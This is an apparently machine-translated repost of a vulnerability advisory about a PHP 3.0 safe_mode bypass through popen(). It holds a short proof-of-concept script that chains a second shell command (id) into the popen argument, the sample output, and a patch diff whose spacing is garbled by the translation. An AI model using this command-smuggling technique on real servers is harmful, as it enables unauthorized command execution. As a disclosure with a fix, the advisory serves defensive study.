PHP3 safe_mode invalidation vulnerability_PHP tutorial

Affected systems: PHP 3.00
---------------------------------------- ----------------------------------------
Description:

PHP Version 3.0 is an HTML embedded scripting language. Most of its syntax is transplanted to C, Java and Perl and combined with the features of
PHP. This language allows web developers to quickly create dynamic web pages.

Because it executes on the web server and allows users to execute code, PHP has a built-in security feature called 'safe_mode', which
is used to control the execution of commands in a webroot environment that allows PHP operations.

The implementation mechanism is to transfer the shell command to the EscapeShellCmd()
function through a system call that forces the execution of the shell command. This function is used to confirm that the command cannot be executed outside the webroot directory.

In some versions of PHP, EscapeShellCmd() fails when using the popen() command, allowing malicious users to
use the 'popen' system call to perform illegal operations.

-------------------------------------------------- ------------------------------------
Test procedure:

Warning: The following procedures (methods) may be offensive and are for security research and teaching purposes only. Use at your own risk!

＜?php
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp＜br＞n ";
while($line = fgets($fp, 1024)):
printf("%s＜br＞n", $line);
endwhile;
pclose($fp) ;
phpinfo();
?＞

The output result is as follows:

1
total 53
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)
and from the configuration values ​​of phpinfo():
safe_mode 0 1

-------------------------------------------------- -------------------------------
Suggestion:
Index: functions/file.c
== ================================================== ===============
RCS file: /repository/php3/functions/file.c,v
retrieving revision 1.229
retrieving revision 1.230
diff - u -r1.229 -r1.230
--- functions/file.c 2000/01/01 04:31:15 1.229
+++ functions/file.c 2000/01/03 21:31 :31 1.230
@@ -26,7 +26,7 @@
| Authors: Rasmus Lerdorf ＜rasmus@lerdorf.on.ca＞ |
+---------- -------------------------------------------------- ----------+
*/
-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
+ /* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */
#include "php.h"
#include ＜stdio.h＞
@ @ -51,6 +51,7 @@
#include "safe_mode.h"
#include "php3_list.h"
#include "php3_string.h"
+#include "exec. h"
#include "file.h"
#if HAVE_PWD_H
#if MSVC5

@@ -575,7 +576,7 @@
pval *arg1, * arg2;
FILE *fp;
int id;
- char *p;
+ char *p, *tmp = NULL;
char *b, buf[1024];
TLS_VARS;

@@ -600,7 +601,11 @@
} else {
snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir ,arg1-＞value.str.val);
}

- fp = popen(buf,p);

+
+ tmp = _php3_escapeshellcmd(buf);
+ fp = popen(tmp,p);
+ efree(tmp); /* temporary copy, no longer necessary */
+
if (!fp) {
php3_error(E_WARNING ,"popen("%s","%s") - %s",buf,p,strerror(errno));
RETURN_FALSE;

http://www.bkjia.com/PHPjc/316607.htmlwww.bkjia.comtruehttp: //www.bkjia.com/PHPjc/316607.htmlTechArticleAffected systems: PHP 3.00 ------------------ -------------------------------------------------- ------------- Description: PHP Version 3.0 is an HTML embedded scripting language. Most of its slang...